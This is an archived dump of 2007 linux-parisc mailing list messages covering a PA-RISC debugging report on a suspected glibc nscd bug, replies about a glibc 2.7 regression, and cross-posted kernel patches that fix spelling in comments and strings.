0x405f4258 <nscd_getgr_r+1628>: cmpb,= r5,ret0,0x405f3fec <nscd_getgr_r+1008>
0x405f425c <nscd_getgr_r+1632>: copy r4,r19
0x405f4260 <nscd_getgr_r+1636>: b,l 0x405f3f14 <nscd_getgr_r+792>,r0
0x405f4264 <nscd_getgr_r+1640>: copy r15,r7
0x405f4268 <nscd_getgr_r+1644>: ldo -38(sp),ret0
0x405f426c <nscd_getgr_r+1648>: depw,z r31,29,30,r20
0x405f4270 <nscd_getgr_r+1652>: stw r20,3c(r3)
0x405f4274 <nscd_getgr_r+1656>: copy ret0,r9
0x405f4278 <nscd_getgr_r+1660>: ldo 46(r20),ret0
0x405f427c <nscd_getgr_r+1664>: depwi 0,31,6,ret0
0x405f4280 <nscd_getgr_r+1668>: add,l sp,ret0,sp
0x405f4284 <nscd_getgr_r+1672>: b,l 0x405f4228 <nscd_getgr_r+1580>,r0
0x405f4288 <nscd_getgr_r+1676>: stw r19,-20(sp)
0x405f428c <nscd_getgr_r+1680>: ldo 46(r22),r20
0x405f4290 <nscd_getgr_r+1684>: depwi 0,31,6,r20
0x405f4294 <nscd_getgr_r+1688>: add,l sp,r20,sp

ret0 is 0x4149840.  So, the previous stack pointer was 0xfaf80cc0.
This is in the vm range.  ret0 is set from r31.  It's not clear
what sets r31 as this block is entered with a branch.

I wasn't able to get an assembly dump with symbols.  We have the
following libraries:

(gdb) info shared
>From        To          Syms Read   Shared Object Library
0x400fe380  0x40116d74  Yes         /lib/ld.so.1
0x4004c9b0  0x40053588  Yes         /lib/libcrypt.so.1
0x4045ff0c  0x404664a4  Yes         /lib/libpam.so.0
0x40301b40  0x40302cb0  Yes         /lib/libpam_misc.so.0
0x4050cb60  0x405fe6e0  Yes         /lib/libc.so.6
0x400e6ce4  0x400e80b0  Yes         /lib/libdl.so.2

The above suggests a bug in the libc nscd support or the kernel
support for it in 2.6.24-rc4.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Sun, 16 Dec 2007 13:32:15 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20071216183215.GB8558@fattire.cabal.ca>
References: <20071206201928.GA8778@hera.kernel.org> <200712161829.lBGITcOV013611@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1197829979 948 80.91.229.12 (16 Dec 2007 18:32:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Dec 2007 18:32:59 +0000 (UTC)
Cc: Kyle McMartin <kyle@hera.kernel.org>, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 16 19:33:10 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J3yIW-0008CW-BV
	for glpp-linux-parisc@gmane.org; Sun, 16 Dec 2007 19:33:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753105AbXLPScT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Dec 2007 13:32:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754225AbXLPScS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 16 Dec 2007 13:32:18 -0500
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:43584 "EHLO
	fattire.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753735AbXLPScR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Dec 2007 13:32:17 -0500
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id D24C023E0B; Sun, 16 Dec 2007 13:32:15 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200712161829.lBGITcOV013611@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:14
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/14>

On Sun, Dec 16, 2007 at 01:29:38PM -0500, John David Anglin wrote:
> I built a SMP PA8800 configuration from this respository yesterday.
> Aside from the timeout issue that I've mentioned before, I've experienced
> erratic login behavior with this new kernel.  I see this in the debug log:
> 

is this using debian sid? or testing? possibly during the update to
glibc 2.7 a regression crept in?

cheers,
	kyle
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Sun, 16 Dec 2007 13:48:03 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200712161848.lBGIm4AS014428@hiauly1.hia.nrc.ca>
References: <20071216183215.GB8558@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1197830943 3913 80.91.229.12 (16 Dec 2007 18:49:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Dec 2007 18:49:03 +0000 (UTC)
Cc: kyle@hera.kernel.org, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 16 19:49:15 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J3yXc-0006Eb-Ei
	for glpp-linux-parisc@gmane.org; Sun, 16 Dec 2007 19:48:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751624AbXLPSsZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Dec 2007 13:48:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753293AbXLPSsZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 16 Dec 2007 13:48:25 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3848 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751624AbXLPSsY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Dec 2007 13:48:24 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBGIm4EY014432;
	Sun, 16 Dec 2007 13:48:10 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBGIm4AS014428;
	Sun, 16 Dec 2007 13:48:04 -0500 (EST)
In-Reply-To: <20071216183215.GB8558@fattire.cabal.ca> from "Kyle McMartin" at Dec 16, 2007 01:32:15 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:15
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/15>

> is this using debian sid? or testing? possibly during the update to
> glibc 2.7 a regression crept in?

It's libc6 2.7-3.  I've remove nscd to see if this goes away.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] arch/parisc/: Spelling fixes
Date: Mon, 17 Dec 2007 11:30:10 -0800
Lines: 55
Approved: news@gmane.org
Message-ID: <1197919875-5288-11-git-send-email-joe@perches.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1197919908 16542 80.91.229.12 (17 Dec 2007 19:31:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Dec 2007 19:31:48 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 17 20:31:59 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4Lgs-0006rB-6x
	for glpp-linux-parisc@gmane.org; Mon, 17 Dec 2007 20:31:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760309AbXLQTbb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Dec 2007 14:31:31 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760254AbXLQTba
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Dec 2007 14:31:30 -0500
Original-Received: from DSL022.labridge.com ([206.117.136.22]:2948 "EHLO perches.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759962AbXLQTb3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Dec 2007 14:31:29 -0500
Original-Received: from localhost.localdomain (192-168-1-128.LABridge.com [192.168.1.128] (may be forged))
	by perches.com (8.9.3/8.9.3) with ESMTP id KAA32731;
	Mon, 17 Dec 2007 10:43:13 -0800
X-Mailer: git-send-email 1.5.3.7.949.g2221a6
Original-Message-Id: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918890.git.joe@perches.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:16 gmane.linux.kernel:615002


Signed-off-by: Joe Perches <joe@perches.com>
---
 arch/parisc/kernel/cache.c    |    2 +-
 arch/parisc/kernel/hardware.c |    2 +-
 arch/parisc/kernel/signal.c   |    2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 395bbce..e10d25d 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -305,7 +305,7 @@ flush_user_cache_page_non_current(struct vm_area_struct *vma,
 	/* save the current process space and pgd */
 	unsigned long space = mfsp(3), pgd = mfctl(25);
 
-	/* we don't mind taking interrups since they may not
+	/* we don't mind taking interrupts since they may not
 	 * do anything with user space, but we can't
 	 * be preempted here */
 	preempt_disable();
diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index 04848b2..1909f88 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -1187,7 +1187,7 @@ static struct hp_hardware hp_hardware_list[] __devinitdata = {
 	{HPHW_FIO, 0x005, 0x000A9, 0x00, "AllegroLow Core PCI USB KB"}, 
 	{HPHW_FIO, 0x006, 0x000A9, 0x00, "AllegroHigh Core PCI SuperIO RS-232"}, 
 	{HPHW_FIO, 0x006, 0x000A9, 0x00, "AllegroHigh Core PCI USB KB"}, 
-	{HPHW_FIO, 0x007, 0x000A9, 0x0, "Miscelaneous PCI Plug-in"}, 
+	{HPHW_FIO, 0x007, 0x000A9, 0x0, "Miscellaneous PCI Plug-in"}, 
 	{HPHW_FIO, 0x00A, 0x000A9, 0x0, "Lego 360 Core PCI SuperIO RS-232"}, 
 	{HPHW_FIO, 0x00A, 0x000A9, 0x0, "Lego 360 Core PCI USB KB"}, 
 	{HPHW_FIO, 0x004, 0x00320, 0x0, "Metheus Frame Buffer"}, 
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 2ce3806..58fccc9 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -333,7 +333,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 	flush_user_icache_range((unsigned long) &frame->tramp[0],
 			   (unsigned long) &frame->tramp[TRAMP_SIZE]);
 
-	/* TRAMP Words 0-4, Lenght 5 = SIGRESTARTBLOCK_TRAMP
+	/* TRAMP Words 0-4, Length 5 = SIGRESTARTBLOCK_TRAMP
 	 * TRAMP Words 5-9, Length 4 = SIGRETURN_TRAMP
 	 * So the SIGRETURN_TRAMP is at the end of SIGRESTARTBLOCK_TRAMP
 	 */
-- 
1.5.3.7.949.g2221a6

-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] include/asm-parisc/: Spelling fixes
Date: Mon, 17 Dec 2007 11:30:11 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <1197919875-5288-12-git-send-email-joe@perches.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1197919916 16580 80.91.229.12 (17 Dec 2007 19:31:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Dec 2007 19:31:56 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 17 20:32:07 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4Lgt-0006rB-R7
	for glpp-linux-parisc@gmane.org; Mon, 17 Dec 2007 20:31:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758603AbXLQTbc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Dec 2007 14:31:32 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760463AbXLQTbc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Dec 2007 14:31:32 -0500
Original-Received: from DSL022.labridge.com ([206.117.136.22]:2949 "EHLO perches.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760215AbXLQTb3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Dec 2007 14:31:29 -0500
Original-Received: from localhost.localdomain (192-168-1-128.LABridge.com [192.168.1.128] (may be forged))
	by perches.com (8.9.3/8.9.3) with ESMTP id KAA32734;
	Mon, 17 Dec 2007 10:43:14 -0800
X-Mailer: git-send-email 1.5.3.7.949.g2221a6
Original-Message-Id: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918890.git.joe@perches.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:17 gmane.linux.kernel:615003


Signed-off-by: Joe Perches <joe@perches.com>
---
 include/asm-parisc/elf.h     |    2 +-
 include/asm-parisc/linkage.h |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/include/asm-parisc/elf.h b/include/asm-parisc/elf.h
index f628ac7..8e7946a 100644
--- a/include/asm-parisc/elf.h
+++ b/include/asm-parisc/elf.h
@@ -28,7 +28,7 @@
 #define EFA_PARISC_1_1		    0x0210 /* PA-RISC 1.1 big-endian.  */
 #define EFA_PARISC_2_0		    0x0214 /* PA-RISC 2.0 big-endian.  */
 
-/* Additional section indeces.  */
+/* Additional section indices.  */
 
 #define SHN_PARISC_ANSI_COMMON	0xff00	   /* Section for tenatively declared
 					      symbols in ANSI C.  */
diff --git a/include/asm-parisc/linkage.h b/include/asm-parisc/linkage.h
index ad8cd0d..0b19a72 100644
--- a/include/asm-parisc/linkage.h
+++ b/include/asm-parisc/linkage.h
@@ -8,7 +8,7 @@
 
 /*
  * In parisc assembly a semicolon marks a comment while a
- * exclamation mark is used to seperate independent lines.
+ * exclamation mark is used to separate independent lines.
  */
 #ifdef __ASSEMBLY__
 
-- 
1.5.3.7.949.g2221a6

-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] arch/parisc/: Spelling fixes
Date: Mon, 17 Dec 2007 11:30:10 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918890.git.joe__12965.8936792568$1197920152$gmane$org@perches.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1197920134 17474 80.91.229.12 (17 Dec 2007 19:35:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Dec 2007 19:35:34 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758289AbXLQTfF@vger.kernel.org Mon Dec 17 20:35:44 2007
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758289AbXLQTfF@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4Lka-0000Qy-VS
	for glk-linux-kernel-3@gmane.org; Mon, 17 Dec 2007 20:35:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758289AbXLQTfF (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 17 Dec 2007 14:35:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760521AbXLQTbd
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 17 Dec 2007 14:31:33 -0500
Original-Received: from DSL022.labridge.com ([206.117.136.22]:2948 "EHLO perches.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759962AbXLQTb3 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 17 Dec 2007 14:31:29 -0500
Original-Received: from localhost.localdomain (192-168-1-128.LABridge.com [192.168.1.128] (may be forged))
	by perches.com (8.9.3/8.9.3) with ESMTP id KAA32731;
	Mon, 17 Dec 2007 10:43:13 -0800
X-Mailer: git-send-email 1.5.3.7.949.g2221a6
Original-Message-Id: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918890.git.joe@perches.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:615024 gmane.linux.ports.parisc:18
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/18>


Signed-off-by: Joe Perches <joe@perches.com>
---
 arch/parisc/kernel/cache.c    |    2 +-
 arch/parisc/kernel/hardware.c |    2 +-
 arch/parisc/kernel/signal.c   |    2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 395bbce..e10d25d 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -305,7 +305,7 @@ flush_user_cache_page_non_current(struct vm_area_struct *vma,
 	/* save the current process space and pgd */
 	unsigned long space = mfsp(3), pgd = mfctl(25);
 
-	/* we don't mind taking interrups since they may not
+	/* we don't mind taking interrupts since they may not
 	 * do anything with user space, but we can't
 	 * be preempted here */
 	preempt_disable();
diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index 04848b2..1909f88 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -1187,7 +1187,7 @@ static struct hp_hardware hp_hardware_list[] __devinitdata = {
 	{HPHW_FIO, 0x005, 0x000A9, 0x00, "AllegroLow Core PCI USB KB"}, 
 	{HPHW_FIO, 0x006, 0x000A9, 0x00, "AllegroHigh Core PCI SuperIO RS-232"}, 
 	{HPHW_FIO, 0x006, 0x000A9, 0x00, "AllegroHigh Core PCI USB KB"}, 
-	{HPHW_FIO, 0x007, 0x000A9, 0x0, "Miscelaneous PCI Plug-in"}, 
+	{HPHW_FIO, 0x007, 0x000A9, 0x0, "Miscellaneous PCI Plug-in"}, 
 	{HPHW_FIO, 0x00A, 0x000A9, 0x0, "Lego 360 Core PCI SuperIO RS-232"}, 
 	{HPHW_FIO, 0x00A, 0x000A9, 0x0, "Lego 360 Core PCI USB KB"}, 
 	{HPHW_FIO, 0x004, 0x00320, 0x0, "Metheus Frame Buffer"}, 
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 2ce3806..58fccc9 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -333,7 +333,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 	flush_user_icache_range((unsigned long) &frame->tramp[0],
 			   (unsigned long) &frame->tramp[TRAMP_SIZE]);
 
-	/* TRAMP Words 0-4, Lenght 5 = SIGRESTARTBLOCK_TRAMP
+	/* TRAMP Words 0-4, Length 5 = SIGRESTARTBLOCK_TRAMP
 	 * TRAMP Words 5-9, Length 4 = SIGRETURN_TRAMP
 	 * So the SIGRETURN_TRAMP is at the end of SIGRESTARTBLOCK_TRAMP
 	 */
-- 
1.5.3.7.949.g2221a6

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


From - Thu Nov 08 21:01:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] include/asm-parisc/: Spelling fixes
Date: Mon, 17 Dec 2007 11:30:11 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918890.git.joe__29669.2683514722$1197920317$gmane$org@perches.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1197920298 18173 80.91.229.12 (17 Dec 2007 19:38:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Dec 2007 19:38:18 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S933292AbXLQTfl@vger.kernel.org Mon Dec 17 20:38:28 2007
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S933292AbXLQTfl@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4Lmj-0001dk-0n
	for glk-linux-kernel-3@gmane.org; Mon, 17 Dec 2007 20:37:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933292AbXLQTfl (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 17 Dec 2007 14:35:41 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760536AbXLQTbe
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 17 Dec 2007 14:31:34 -0500
Original-Received: from DSL022.labridge.com ([206.117.136.22]:2949 "EHLO perches.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760215AbXLQTb3 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 17 Dec 2007 14:31:29 -0500
Original-Received: from localhost.localdomain (192-168-1-128.LABridge.com [192.168.1.128] (may be forged))
	by perches.com (8.9.3/8.9.3) with ESMTP id KAA32734;
	Mon, 17 Dec 2007 10:43:14 -0800
X-Mailer: git-send-email 1.5.3.7.949.g2221a6
Original-Message-Id: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918890.git.joe@perches.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:615036 gmane.linux.ports.parisc:19
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/19>


Signed-off-by: Joe Perches <joe@perches.com>
---
 include/asm-parisc/elf.h     |    2 +-
 include/asm-parisc/linkage.h |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/include/asm-parisc/elf.h b/include/asm-parisc/elf.h
index f628ac7..8e7946a 100644
--- a/include/asm-parisc/elf.h
+++ b/include/asm-parisc/elf.h
@@ -28,7 +28,7 @@
 #define EFA_PARISC_1_1		    0x0210 /* PA-RISC 1.1 big-endian.  */
 #define EFA_PARISC_2_0		    0x0214 /* PA-RISC 2.0 big-endian.  */
 
-/* Additional section indeces.  */
+/* Additional section indices.  */
 
 #define SHN_PARISC_ANSI_COMMON	0xff00	   /* Section for tenatively declared
 					      symbols in ANSI C.  */
diff --git a/include/asm-parisc/linkage.h b/include/asm-parisc/linkage.h
index ad8cd0d..0b19a72 100644
--- a/include/asm-parisc/linkage.h
+++ b/include/asm-parisc/linkage.h
@@ -8,7 +8,7 @@
 
 /*
  * In parisc assembly a semicolon marks a comment while a
- * exclamation mark is used to seperate independent lines.
+ * exclamation mark is used to separate independent lines.
  */
 #ifdef __ASSEMBLY__
 
-- 
1.5.3.7.949.g2221a6

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


From - Thu Nov 08 21:01:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] drivers/parisc/: Spelling fixes
Date: Mon, 17 Dec 2007 11:40:10 -0800
Lines: 50
Approved: news@gmane.org
Message-ID: <1197920439-5455-4-git-send-email-joe@perches.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1197920531 19241 80.91.229.12 (17 Dec 2007 19:42:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Dec 2007 19:42:11 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
